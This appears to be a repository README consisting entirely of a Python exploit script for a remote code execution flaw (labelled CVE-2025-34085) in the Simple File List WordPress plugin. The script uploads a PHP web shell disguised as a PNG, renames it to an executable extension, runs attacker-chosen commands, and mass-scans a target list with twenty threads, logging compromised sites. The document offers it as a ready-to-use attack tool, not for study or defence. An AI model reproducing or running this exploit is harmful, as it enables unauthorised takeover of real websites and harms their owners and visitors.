README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import hashlib
import time
import random
import string
import uuid
import argparse
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor
from colorama import Fore, Style, init
# Initialize colorama
init(autoreset=True)
# Global Configuration EXPECTED_SUBSTRING = None # Accept any output
THREADS = 20
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "*/*"
}
UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php"
RENAME_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php"
SHELL_PATH = "/wp-content/uploads/simple-file-list/"
# Banner
def banner():
print(Fore.RED + Style.BRIGHT + r"""
██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗
██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║
██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║
██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║
██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║
╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝
CVE-2025-34085 — Simple File List WordPress Plugin RCE 📌
Author: Black Ash | B1ack4sh
""")
print(Fore.RED + "[•] Starting multithreaded exploit...\n")
def normalize_url(domain):
if not domain.startswith("http://") and not domain.startswith("https://"):
return "http://" + domain
return domain.rstrip('/')
def rand_str(n=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
def generate_payload(cmd=None, inline=False):
if inline:
return f"system('{cmd}');"
return "system($_GET['cmd']);"
def send_exploit(target):
url = normalize_url(target)
filename = rand_str()
timestamp = str(int(time.time()))
token = hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest()
# Payload content
php_payload = f"<?php {generate_payload(COMMAND, INLINE)} ?>".encode()
boundary = f"----WebKitFormBoundary{uuid.uuid4().hex[:16]}"
multipart_body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"eeSFL_ID\"\r\n\r\n1\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"eeSFL_FileUploadDir\"\r\n\r\n{SHELL_PATH}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"eeSFL_Timestamp\"\r\n\r\n{timestamp}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"eeSFL_Token\"\r\n\r\n{token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}.png\"\r\n"
f"Content-Type: image/png\r\n\r\n"
).encode() + php_payload + f"\r\n--{boundary}--\r\n".encode()
upload_headers = HEADERS.copy()
upload_headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"
upload_headers["Referer"] = f"{url}/wp-admin"
upload_headers["Origin"] = url
try:
r = requests.post(url + UPLOAD_PATH, data=multipart_body, headers=upload_headers, timeout=10, verify=False)
if r.status_code == 200 and "SUCCESS" in r.text:
extensions = ['php', 'phtml', 'php5', 'php3']
for ext in extensions:
new_name = f"{filename}.{ext}"
data = {
'eeSFL_ID': '1',
'eeListFolder': '/',
'eeFileOld': f"{filename}.png",
'eeFileAction': f"Rename|{new_name}"
}
r2 = requests.post(url + RENAME_PATH, data=data, headers=HEADERS, timeout=10, verify=False)
if r2.status_code == 200:
shell_url = f"{url}{SHELL_PATH}{new_name}"
if INLINE:
r3 = requests.get(shell_url, headers=HEADERS, timeout=10, verify=False)
else:
r3 = requests.get(shell_url, params={"cmd": COMMAND}, headers=HEADERS, timeout=10, verify=False)
print(Fore.YELLOW + f"[DEBUG] Command Output:\n{r3.text.strip()}\n")
if r3.status_code == 200 and (EXPECTED_SUBSTRING is None or EXPECTED_SUBSTRING in r3.text):
print(Fore.GREEN + f"[+] {url} | {shell_url}")
with open("vuln.txt", "a") as log:
log.write(f"{url} | {shell_url} | {r3.text.strip()}\n")
return
print(Fore.RED + f"[-] Not Vulnerable or Unexpected Response: {url}")
except Exception as e:
print(Fore.MAGENTA + f"[x] Failed: {url} | {e}")
# Entry Point
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="WordPress Simple File List RCE Scanner by 0xgh057r3c0n")
parser.add_argument("-u", "--url", help="Single target URL (e.g. http://example.com)")
parser.add_argument("--cmd", help="Command to execute on the target (default: id)", default="id")
parser.add_argument("--inline", help="Inject command directly into the PHP shell (no ?cmd=)", action="store_true")
args = parser.parse_args()
COMMAND = args.cmd
INLINE = args.inline
banner()
requests.packages.urllib3.disable_warnings()
if args.url:
print(Fore.CYAN + f"[•] Scanning single target: {args.url} with command: {COMMAND} | Inline: {INLINE}")
send_exploit(args.url)
else:
with open("targets.txt", "r") as f:
targets = [line.strip() for line in f if line.strip()]
print(Fore.CYAN + f"[•] Loaded {len(targets)} targets. Launching {THREADS} threads with command: {COMMAND} | Inline: {INLINE}")
with ThreadPoolExecutor(max_workers=THREADS) as executor:
executor.map(send_exploit, targets)